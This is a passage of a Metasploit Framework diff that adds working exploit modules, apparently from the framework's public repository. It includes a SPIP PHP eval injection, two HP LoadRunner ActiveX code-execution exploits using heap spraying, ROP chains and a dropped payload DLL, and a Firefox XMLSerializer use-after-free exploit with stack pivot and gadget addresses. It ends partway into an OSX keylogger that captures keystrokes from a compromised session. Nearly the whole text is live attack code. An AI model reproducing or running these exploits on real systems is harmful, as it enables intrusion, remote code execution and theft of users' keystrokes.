OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
version = nil
|
||||
uri = normalize_uri(target_uri.path, "spip.php")
|
||||
|
||||
res = send_request_cgi({ 'uri' => "#{uri}" })
|
||||
|
||||
if res and res.code == 200 and res.body =~ /<meta name="generator" content="SPIP (.*) \[/
|
||||
version = $1
|
||||
end
|
||||
|
||||
if version.nil? and res.code == 200 and res.headers["Composed-By"] =~ /SPIP (.*) @/
|
||||
version = $1
|
||||
end
|
||||
|
||||
if version.nil?
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
vprint_status("SPIP Version detected: #{version}")
|
||||
|
||||
if version =~ /^2\.0/ and version < "2.0.21"
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif version =~ /^2\.1/ and version < "2.1.16"
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif version =~ /^3\.0/ and version < "3.0.3"
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
uri = normalize_uri(target_uri.path, 'spip.php')
|
||||
print_status("#{rhost}:#{rport} - Attempting to exploit...")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'connect' => "?><? eval(base64_decode($_SERVER[HTTP_CMD])); ?>",
|
||||
},
|
||||
'headers' => {
|
||||
'Cmd' => Rex::Text.encode_base64(payload.encoded)
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,258 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::IE,
|
||||
:ua_minver => "6.0",
|
||||
:ua_maxver => "9.0",
|
||||
:javascript => true,
|
||||
:os_name => OperatingSystems::WINDOWS,
|
||||
:rank => Rank,
|
||||
:classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}",
|
||||
:method => "WriteFileBinary"
|
||||
})
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "HP LoadRunner lrFileIOService ActiveX Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
|
||||
with HP LoadRunner 11.50. The vulnerability exists in the WriteFileBinary method
|
||||
where user provided data is used as a memory pointer. This module has been tested
|
||||
successfully on IE6-IE9 on Windows XP, Vista and 7, using the LrWebIERREWrapper.dll
|
||||
11.50.2216.0. In order to bypass ASLR the no aslr compatible module msvcr71.dll is
|
||||
used. This one is installed with HP LoadRunner.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-2370' ],
|
||||
[ 'OSVDB', '95640' ],
|
||||
[ 'BID', '61441'],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-182/' ],
|
||||
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'DisableNops' => true,
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PrependMigrate' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# LrWebIERREWrapper.dll 11.50.2216.0
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
|
||||
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
|
||||
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
|
||||
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
|
||||
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
|
||||
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jul 24 2013",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
#If the user is already specified by the user, we'll just use that
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
|
||||
ie_name = "IE #{ie}"
|
||||
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
when '6.0'
|
||||
os_name = 'Windows Vista'
|
||||
when '6.1'
|
||||
os_name = 'Windows 7'
|
||||
end
|
||||
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
print_status("Target selected as: #{t.name}")
|
||||
return t
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def ie_heap_spray(my_target, p)
|
||||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
||||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
||||
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
|
||||
|
||||
# Land the payload at 0x0c0c0c0c
|
||||
case my_target
|
||||
when targets[6]
|
||||
# IE 9 on Windows 7
|
||||
js = %Q|
|
||||
function randomblock(blocksize)
|
||||
{
|
||||
var theblock = "";
|
||||
for (var i = 0; i < blocksize; i++)
|
||||
{
|
||||
theblock += Math.floor(Math.random()*90)+10;
|
||||
}
|
||||
return theblock;
|
||||
}
|
||||
|
||||
function tounescape(block)
|
||||
{
|
||||
var blocklen = block.length;
|
||||
var unescapestr = "";
|
||||
for (var i = 0; i < blocklen-1; i=i+4)
|
||||
{
|
||||
unescapestr += "%u" + block.substring(i,i+4);
|
||||
}
|
||||
return unescapestr;
|
||||
}
|
||||
|
||||
var heap_obj = new heapLib.ie(0x10000);
|
||||
var code = unescape("#{js_code}");
|
||||
var nops = unescape("#{js_random_nops}");
|
||||
while (nops.length < 0x80000) nops += nops;
|
||||
var offset_length = #{my_target['Offset']};
|
||||
for (var i=0; i < 0x1000; i++) {
|
||||
var padding = unescape(tounescape(randomblock(0x1000)));
|
||||
while (padding.length < 0x1000) padding+= padding;
|
||||
var junk_offset = padding.substring(0, offset_length);
|
||||
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
|
||||
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
|
||||
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
|
||||
heap_obj.alloc(sprayblock);
|
||||
}
|
||||
|
|
||||
|
||||
else
|
||||
# For IE 6, 7, 8
|
||||
js = %Q|
|
||||
var heap_obj = new heapLib.ie(0x20000);
|
||||
var code = unescape("#{js_code}");
|
||||
var nops = unescape("#{js_nops}");
|
||||
while (nops.length < 0x80000) nops += nops;
|
||||
var offset = nops.substring(0, #{my_target['Offset']});
|
||||
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||
var block = shellcode.substring(0, (0x80000-6)/2);
|
||||
heap_obj.gc();
|
||||
for (var i=1; i < 0x300; i++) {
|
||||
heap_obj.alloc(block);
|
||||
}
|
||||
|
|
||||
|
||||
end
|
||||
|
||||
js = heaplib(js, {:noobfu => true})
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||||
js.obfuscate
|
||||
end
|
||||
|
||||
return js
|
||||
end
|
||||
|
||||
def get_payload(t, cli)
|
||||
code = payload.encoded
|
||||
|
||||
fake_object = [
|
||||
0x0c0c0c0c, # fake vftable pointer
|
||||
0x0c0c0c14 # function pointer
|
||||
].pack("V*")
|
||||
|
||||
# No rop. Just return the payload.
|
||||
return fake_object + code if t['Rop'].nil?
|
||||
|
||||
# Both ROP chains generated by mona.py - See corelan.be
|
||||
case t['Rop']
|
||||
when :jre
|
||||
print_status("Using msvcr71.dll ROP")
|
||||
fake_object = [
|
||||
0x0c0c0c0c, # fake vftable pointer
|
||||
0x7c342643 # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn
|
||||
].pack("V*")
|
||||
rop_payload = fake_object + generate_rop_payload('java', code)#, {'pivot'=>stack_pivot})
|
||||
end
|
||||
|
||||
return rop_payload
|
||||
end
|
||||
|
||||
def load_exploit_html(my_target, cli)
|
||||
p = get_payload(my_target, cli)
|
||||
js = ie_heap_spray(my_target, p)
|
||||
object_id = rand_text_alpha(rand(10) + 8)
|
||||
|
||||
html = %Q|
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{object_id}'></object>
|
||||
<script language='javascript'>
|
||||
#{object_id}.WriteFileBinary("#{rand_text_alpha(4+ rand(4))}", 0x0c0c0c0c);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
uri = request.uri
|
||||
print_status("Requesting: #{uri}")
|
||||
|
||||
my_target = get_target(agent)
|
||||
# Avoid the attack if no suitable target found
|
||||
if my_target.nil?
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
html = load_exploit_html(my_target, cli)
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
print_status("Sending HTML...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,152 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::IE,
|
||||
:ua_minver => "6.0",
|
||||
:ua_maxver => "8.0",
|
||||
:javascript => true,
|
||||
:os_name => OperatingSystems::WINDOWS,
|
||||
:os_ver => OperatingSystems::WindowsVersions::XP,
|
||||
:rank => NormalRanking,
|
||||
:classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}",
|
||||
:method => "WriteFileString "
|
||||
})
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
|
||||
with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method,
|
||||
which allow the user to write arbitrary files. It's abused to drop a payload
|
||||
embedded in a dll, which is later loaded through the Init() method from the
|
||||
lrMdrvService control, by abusing an insecure LoadLibrary call. This module has
|
||||
been tested successfully on IE8 on Windows XP. Virtualization based on the Low
|
||||
Integrity Process, on Windows Vista and 7, will stop this module because the DLL
|
||||
will be dropped to a virtualized folder, which isn't used by LoadLibrary.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Brian Gorenc', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-4798' ],
|
||||
[ 'OSVDB', '95642' ],
|
||||
[ 'BID', '61443'],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-207/' ],
|
||||
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic IE on Windows XP', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jul 24 2013",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
# Just reminding the user to delete LrWeb2MdrvLoader.dll
|
||||
# because migration and killing the exploited process is
|
||||
# needed
|
||||
def on_new_session(session)
|
||||
print_status("New session... remember to delete LrWeb2MdrvLoader.dll")
|
||||
end
|
||||
|
||||
def is_target?(agent)
|
||||
if agent =~ /Windows NT 5\.1/ and agent =~ /MSIE/
|
||||
return true
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
def create_dll_js(object_id, dll_data)
|
||||
dll_js = ""
|
||||
first = true
|
||||
dll_data.each_char { |chunk|
|
||||
if first
|
||||
dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), false, \"UTF-8\");\n"
|
||||
first = false
|
||||
else
|
||||
dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), true, \"UTF-8\");\n"
|
||||
end
|
||||
}
|
||||
return dll_js
|
||||
end
|
||||
|
||||
def load_exploit_html(cli)
|
||||
return nil if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
file_io = rand_text_alpha(rand(10) + 8)
|
||||
mdrv_service = rand_text_alpha(rand(10) + 8)
|
||||
dll_data = generate_payload_dll({ :code => p.encoded })
|
||||
drop_dll_js = create_dll_js(file_io, dll_data)
|
||||
|
||||
html = %Q|
|
||||
<html>
|
||||
<body>
|
||||
<object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{file_io}'></object>
|
||||
<object classid='clsid:9EE336F8-04B7-4B9F-8421-B982E7A4785C' id='#{mdrv_service}'></object>
|
||||
<script language='javascript'>
|
||||
#{drop_dll_js}
|
||||
#{mdrv_service}.Init("-f #{rand_text_alpha(8 + rand(8))}", "#{rand_text_alpha(8 + rand(8))}");
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
uri = request.uri
|
||||
print_status("Requesting: #{uri}")
|
||||
|
||||
# Avoid the attack if no suitable target found
|
||||
if not is_target?(agent)
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
html = load_exploit_html(cli)
|
||||
if html.nil?
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
print_status("Sending HTML...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,203 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox XMLSerializer Use After Free',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
|
||||
an use after free of an Element object, when using the serializeToStream method
|
||||
with a specially crafted OutputStream defining its own write function. This module
|
||||
has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
|
||||
SP3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'regenrecht', # Vulnerability Discovery, Analysis and PoC
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0753' ],
|
||||
[ 'OSVDB', '89021'],
|
||||
[ 'BID', '57209'],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
|
||||
[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
|
||||
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'PrependMigrate' => true
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true,
|
||||
'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Firefox 17 / Windows XP SP3',
|
||||
{
|
||||
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
|
||||
'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory
|
||||
'RetGadget' => 0x77c3ee16, # ret from msvcrt
|
||||
'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
|
||||
'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Jan 08 2013',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
|
||||
def stack_pivot
|
||||
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
||||
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
||||
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
||||
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
||||
return pivot
|
||||
end
|
||||
|
||||
def junk(n=4)
|
||||
return rand_text_alpha(n).unpack("V").first
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
vprint_status("Agent: #{agent}")
|
||||
|
||||
if agent !~ /Windows NT 5\.1/
|
||||
print_error("Windows XP not found, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
unless agent =~ /Firefox\/17/
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
# Fake object landed on 0x0c101008 if heap spray is working as expected
|
||||
code = [
|
||||
target['FakeVFTable'],
|
||||
target['RetGadget'],
|
||||
target['RetGadget'],
|
||||
target['RetGadget'],
|
||||
target['RetGadget'],
|
||||
target['PopRetGadget'],
|
||||
0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
|
||||
].pack("V*")
|
||||
code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
|
||||
code << [target['PopRetGadget']].pack("V") # pop # ret
|
||||
code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
|
||||
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
|
||||
|
||||
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
|
||||
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
|
||||
js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))
|
||||
|
||||
content = <<-HTML
|
||||
<html>
|
||||
<script>
|
||||
var heap_chunks;
|
||||
|
||||
function heapSpray(shellcode, fillsled) {
|
||||
var chunk_size, headersize, fillsled_len, code;
|
||||
var i, codewithnum;
|
||||
chunk_size = 0x40000;
|
||||
headersize = 0x10;
|
||||
fillsled_len = chunk_size - (headersize + shellcode.length);
|
||||
while (fillsled.length <fillsled_len)
|
||||
fillsled += fillsled;
|
||||
fillsled = fillsled.substring(0, fillsled_len);
|
||||
code = shellcode + fillsled;
|
||||
heap_chunks = new Array();
|
||||
for (i = 0; i<1000; i++)
|
||||
{
|
||||
codewithnum = "HERE" + code;
|
||||
heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
|
||||
}
|
||||
}
|
||||
|
||||
function gen(len, pad) {
|
||||
pad = unescape(pad);
|
||||
|
||||
while (pad.length < len/2)
|
||||
pad += pad;
|
||||
|
||||
return pad.substring(0, len/2-1);
|
||||
}
|
||||
|
||||
function run() {
|
||||
var container = [];
|
||||
|
||||
var myshellcode = unescape("#{js_code}");
|
||||
var myfillsled = unescape("#{js_random}");
|
||||
heapSpray(myshellcode,myfillsled);
|
||||
|
||||
var fake =
|
||||
"%u0000%u0000" +
|
||||
"%u0000%u0000" +
|
||||
"%u0000%u0000" +
|
||||
"%u0000%u0000" +
|
||||
"%u0000%u0000" +
|
||||
"%u0000%u0000" +
|
||||
"%u0000%u0000" +
|
||||
"#{js_ptr}";
|
||||
|
||||
var small = gen(72, fake);
|
||||
|
||||
var text = 'x';
|
||||
while (text.length <= 1024)
|
||||
text += text;
|
||||
|
||||
var parent = document.createElement("parent");
|
||||
var child = document.createElement("child");
|
||||
|
||||
parent.appendChild(child);
|
||||
child.setAttribute("foo", text);
|
||||
|
||||
var s = new XMLSerializer();
|
||||
var stream = {
|
||||
write: function() {
|
||||
parent.removeChild(child);
|
||||
child = null;
|
||||
for (i = 0; i < 2097152; ++i)
|
||||
container.push(small.toLowerCase());
|
||||
}
|
||||
};
|
||||
|
||||
s.serializeToStream(parent, stream, "UTF-8");
|
||||
}
|
||||
</script>
|
||||
<body onload="run();">
|
||||
</body>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
print_status("URI #{request.uri} requested...")
|
||||
print_status("Sending HTML")
|
||||
send_response(cli, content, {'Content-Type'=>'text/html'})
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -6,6 +6,7 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
@ -20,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
This module exploits a command injection vulnerability on the Oracle Endeca
|
||||
Server 7.4.0. The vulnerability exists on the createDataStore method from the
|
||||
controlSoapBinding web service. The vulnerable method only exists on the 7.4.0
|
||||
branch and isn't available on the 7.5.5.1 branch. On the other hand, the injection
|
||||
branch and isn't available on the 7.5.5.1 branch. In addition, the injection
|
||||
has been found to be Windows specific. This module has been tested successfully
|
||||
on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).
|
||||
},
|
||||
|
|
|
@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
'hdm', # with tons of input/help/testing from the community
|
||||
'Brett Moore <brett.moore[at]insomniasec.com>',
|
||||
'staylor', # check() detection
|
||||
'frank2 <frank2@dc949.org>', # check() detection
|
||||
'jduck', # XP SP2/SP3 AlwaysOn DEP bypass
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -0,0 +1,299 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'shellwords'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
# when we need to read from the keylogger,
|
||||
# we first "knock" the process by sending a USR1 signal.
|
||||
# the keylogger opens a local tcp port (22899 by default) momentarily
|
||||
# that we can connect to and read from (using cmd_exec(telnet ...)).
|
||||
attr_accessor :port
|
||||
|
||||
# the pid of the keylogger process
|
||||
attr_accessor :pid
|
||||
|
||||
# where we are storing the keylog
|
||||
attr_accessor :loot_path
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OSX Capture Userspace Keylogger',
|
||||
'Description' => %q{
|
||||
Logs all keyboard events except cmd-keys and GUI password input.
|
||||
|
||||
Keylogs are transferred between client/server in chunks
|
||||
every SYNCWAIT seconds for reliability.
|
||||
|
||||
Works by calling the Carbon GetKeys() hook using the DL lib
|
||||
in OSX's system Ruby. The Ruby code is executed in a shell
|
||||
command using -e, so the payload never hits the disk.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
|
||||
'Platform' => [ 'osx'],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('DURATION',
|
||||
[ true, 'The duration in seconds.', 600 ]
|
||||
),
|
||||
OptInt.new('SYNCWAIT',
|
||||
[ true, 'The time between transferring log chunks.', 10 ]
|
||||
),
|
||||
OptPort.new('LOGPORT',
|
||||
[ false, 'Local port opened for momentarily for log transfer', 22899 ]
|
||||
)
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run_ruby_code
|
||||
# to pass args to ruby -e we use ARGF (stdin) and yaml
|
||||
opts = {
|
||||
:duration => datastore['DURATION'].to_i,
|
||||
:port => self.port
|
||||
}
|
||||
cmd = ['ruby', '-e', ruby_code(opts)]
|
||||
|
||||
rpid = cmd_exec(cmd.shelljoin, nil, 10)
|
||||
|
||||
if rpid =~ /^\d+/
|
||||
print_status "Ruby process executing with pid #{rpid.to_i}"
|
||||
rpid.to_i
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Ruby keylogger command failed with error #{rpid}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
if session.nil?
|
||||
print_error "Invalid SESSION id."
|
||||
return
|
||||
end
|
||||
|
||||
if datastore['DURATION'].to_i < 1
|
||||
print_error 'Invalid DURATION value.'
|
||||
return
|
||||
end
|
||||
|
||||
print_status "Executing ruby command to start keylogger process."
|
||||
|
||||
@port = datastore['LOGPORT'].to_i
|
||||
@pid = run_ruby_code
|
||||
|
||||
begin
|
||||
Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs
|
||||
print_status "Entering read loop"
|
||||
while true
|
||||
print_status "Waiting #{datastore['SYNCWAIT']} seconds."
|
||||
Rex.sleep(datastore['SYNCWAIT'])
|
||||
print_status "Sending USR1 signal to open TCP port..."
|
||||
cmd_exec("kill -USR1 #{self.pid}")
|
||||
print_status "Dumping logs..."
|
||||
log = cmd_exec("telnet localhost #{self.port}")
|
||||
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
|
||||
log = log_a.join("\n")+"\n"
|
||||
print_status "#{log_a.size} keystrokes captured"
|
||||
if log_a.size > 0
|
||||
if self.loot_path.nil?
|
||||
self.loot_path = store_loot(
|
||||
"keylog", "text/plain", session, log, "keylog.log", "OSX keylog"
|
||||
)
|
||||
else
|
||||
File.open(self.loot_path, 'a') { |f| f.write(log) }
|
||||
end
|
||||
print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join)
|
||||
print_status "Saved to #{self.loot_path}"
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
print_status "Keylogger run completed."
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def kill_process(pid)
|
||||
print_status "Killing process #{pid.to_i}"
|
||||
cmd_exec("kill #{pid.to_i}")
|
||||
end
|
||||
|
||||
def cleanup
|
||||
return if session.nil?
|
||||
return if not @cleaning_up.nil?
|
||||
@cleaning_up = true
|
||||
|
||||
if self.pid.to_i > 0
|
||||
print_status("Cleaning up...")
|
||||
kill_process(self.pid)
|
||||
end
|
||||
end
|
||||
|
||||
def ruby_code(opts={})
|
||||
<<-EOS
|
||||
# Kick off a child process and let parent die
|
||||
child_pid = fork do
|
||||
require 'thread'
|
||||
require 'dl'
|
||||
require 'dl/import'
|
||||
|
||||
|
||||
options = {
|
||||
:duration => #{opts[:duration]},
|
||||
:port => #{opts[:port]}
|
||||
